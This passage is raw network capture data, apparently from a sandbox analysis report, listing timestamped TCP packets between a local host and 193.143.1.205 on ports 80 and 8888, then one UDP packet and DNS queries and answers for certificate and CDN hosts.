Jan 11, 2025 02:51:59.429425001 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.429469109 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.429474115 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.429486036 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.429533958 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.429563046 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.429575920 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.429589033 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.429637909 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.429749966 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.429763079 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.429775000 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.429797888 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.429809093 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.429831028 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.429922104 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.429956913 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.429968119 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.429981947 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.430061102 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.430062056 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.430078030 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.430089951 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.430114031 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.430218935 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.430231094 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.430242062 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.430253029 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.430265903 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.430283070 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.430283070 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.430344105 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.430461884 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.430475950 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.430488110 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.430499077 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.430510044 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.430521011 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.430530071 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.430579901 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.430588007 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.430588007 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.430593967 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.430644989 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.430876017 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.430910110 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.430922031 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.431006908 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.431019068 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.431022882 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.431032896 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.431051016 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.431068897 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.431108952 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.431122065 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.431173086 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.437735081 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.457194090 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.457262039 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.457314014 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.457566023 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.457588911 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.457601070 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.457624912 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.457709074 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.457720995 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.457732916 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.457767963 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.457768917 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.457801104 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.459074974 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.459111929 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.459122896 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.459129095 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.459166050 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.459177017 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.459223032 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.459223032 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.459302902 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.459321022 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.459332943 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.459413052 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.489192963 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.489216089 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.489231110 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.489239931 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.489242077 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.489254951 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.489299059 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.489305019 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.489317894 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.489331007 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.489387035 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.489469051 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.489481926 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.489495039 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.489506006 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.489542961 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.489545107 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.489545107 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.489556074 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.489614964 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.489631891 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.502885103 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.511816978 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.519439936 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.519454956 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.519462109 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.519469023 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.519474983 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.519480944 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.519486904 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.519493103 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.519499063 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.519504070 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.519509077 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.519515038 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.519537926 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.519547939 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.519556046 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.519606113 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.519619942 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.519628048 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.519642115 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.519642115 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.519682884 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.519711018 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.519716024 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.519788027 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.519788027 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.519810915 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.519813061 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.519890070 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.519931078 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.519937992 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.520009995 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.520009995 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.520029068 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.520030975 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.520039082 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.520097017 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.520211935 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.520221949 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.520234108 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.520248890 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.520297050 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.520302057 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.520370960 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.520382881 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.520390034 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.520448923 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.520533085 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.520544052 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.520550966 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.520677090 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.520689011 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.520701885 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.520719051 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.520719051 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.520751953 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.520834923 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.520847082 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.520853043 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.520859957 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.520982981 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.520988941 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.520996094 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.521007061 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.521096945 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.521096945 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.521126986 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.521152973 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.521203995 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.521214962 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.521286964 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.521292925 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.521334887 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.521446943 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.521460056 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.521477938 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.521488905 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.521495104 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.521550894 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.521560907 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.521567106 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.521568060 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.521573067 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.521589041 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.521617889 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.521888018 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.521898985 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.521904945 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.521948099 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.521954060 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.521960974 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.521966934 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.521981955 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.522085905 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.522217989 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.522228956 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.522241116 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.522253990 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.522265911 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.522273064 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.522279024 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.522295952 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.522299051 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.522299051 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.522305012 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.522376060 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.522429943 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.522442102 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.522454023 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.522468090 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.522495985 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.522598982 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.532478094 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.538105965 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.550009966 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.550025940 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.550036907 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.550080061 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.550149918 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.550162077 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.550173998 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.550185919 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.550198078 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.550235033 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.550262928 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.550306082 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.552369118 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.552376986 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.552388906 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.552469015 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.552496910 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.552515984 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.552526951 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.552530050 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.552546978 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.552571058 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.580790043 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.580827951 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.580836058 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.580842018 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.580882072 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.580959082 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.580972910 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.580980062 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.581036091 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.581038952 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.581042051 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.581044912 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.581053972 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.581156969 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.581247091 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.581269026 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.581281900 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.581289053 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.581296921 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.581336975 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.581357002 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.610694885 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.610724926 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.610735893 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.610755920 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.610769033 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.610778093 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.610800982 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.610827923 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.610845089 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.610865116 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.610944033 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.610980034 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.610981941 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.610987902 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.610994101 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.611094952 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.611107111 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.611109972 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.611114025 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.611131907 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.611213923 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.611247063 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.611263990 CET	80	49749	193.143.1.205	192.168.2.9
Jan 11, 2025 02:51:59.611351967 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.629646063 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.634972095 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:51:59.833448887 CET	49749	80	192.168.2.9	193.143.1.205
Jan 11, 2025 02:52:00.226881981 CET	49765	8888	192.168.2.9	193.143.1.205
Jan 11, 2025 02:52:00.231822968 CET	8888	49765	193.143.1.205	192.168.2.9
Jan 11, 2025 02:52:00.231898069 CET	49765	8888	192.168.2.9	193.143.1.205
Jan 11, 2025 02:52:00.232151985 CET	49765	8888	192.168.2.9	193.143.1.205
Jan 11, 2025 02:52:00.237488031 CET	8888	49765	193.143.1.205	192.168.2.9
Jan 11, 2025 02:52:01.023025036 CET	8888	49765	193.143.1.205	192.168.2.9
Jan 11, 2025 02:52:01.082319021 CET	49765	8888	192.168.2.9	193.143.1.205
Jan 11, 2025 02:52:01.281131983 CET	49765	8888	192.168.2.9	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 02:52:08.177695990 CET	51648	53	192.168.2.9	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 02:52:08.177695990 CET	192.168.2.9	1.1.1.1	0xa1a6	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 02:51:49.779026985 CET	1.1.1.1	192.168.2.9	0x8d4b	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 02:51:49.779026985 CET	1.1.1.1	192.168.2.9	0x8d4b	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:52:08.186501026 CET	1.1.1.1	192.168.2.9	0xa1a6	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 02:52:08.927059889 CET	1.1.1.1	192.168.2.9	0x7ed8	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 02:52:08.927059889 CET	1.1.1.1	192.168.2.9	0x7ed8	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.22	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:52:08.927059889 CET	1.1.1.1	192.168.2.9	0x7ed8	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.37	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:52:08.927059889 CET	1.1.1.1	192.168.2.9	0x7ed8	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.22	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:52:08.927059889 CET	1.1.1.1	192.168.2.9	0x7ed8	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.21	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:52:08.927059889 CET	1.1.1.1	192.168.2.9	0x7ed8	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.18	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:52:08.927059889 CET	1.1.1.1	192.168.2.9	0x7ed8	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.39	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:52:08.927059889 CET	1.1.1.1	192.168.2.9	0x7ed8	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.38	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:52:08.927059889 CET	1.1.1.1	192.168.2.9	0x7ed8	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.37	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:52:21.804857969 CET	1.1.1.1	192.168.2.9	0x405e	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 02:52:21.804857969 CET	1.1.1.1	192.168.2.9	0x405e	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
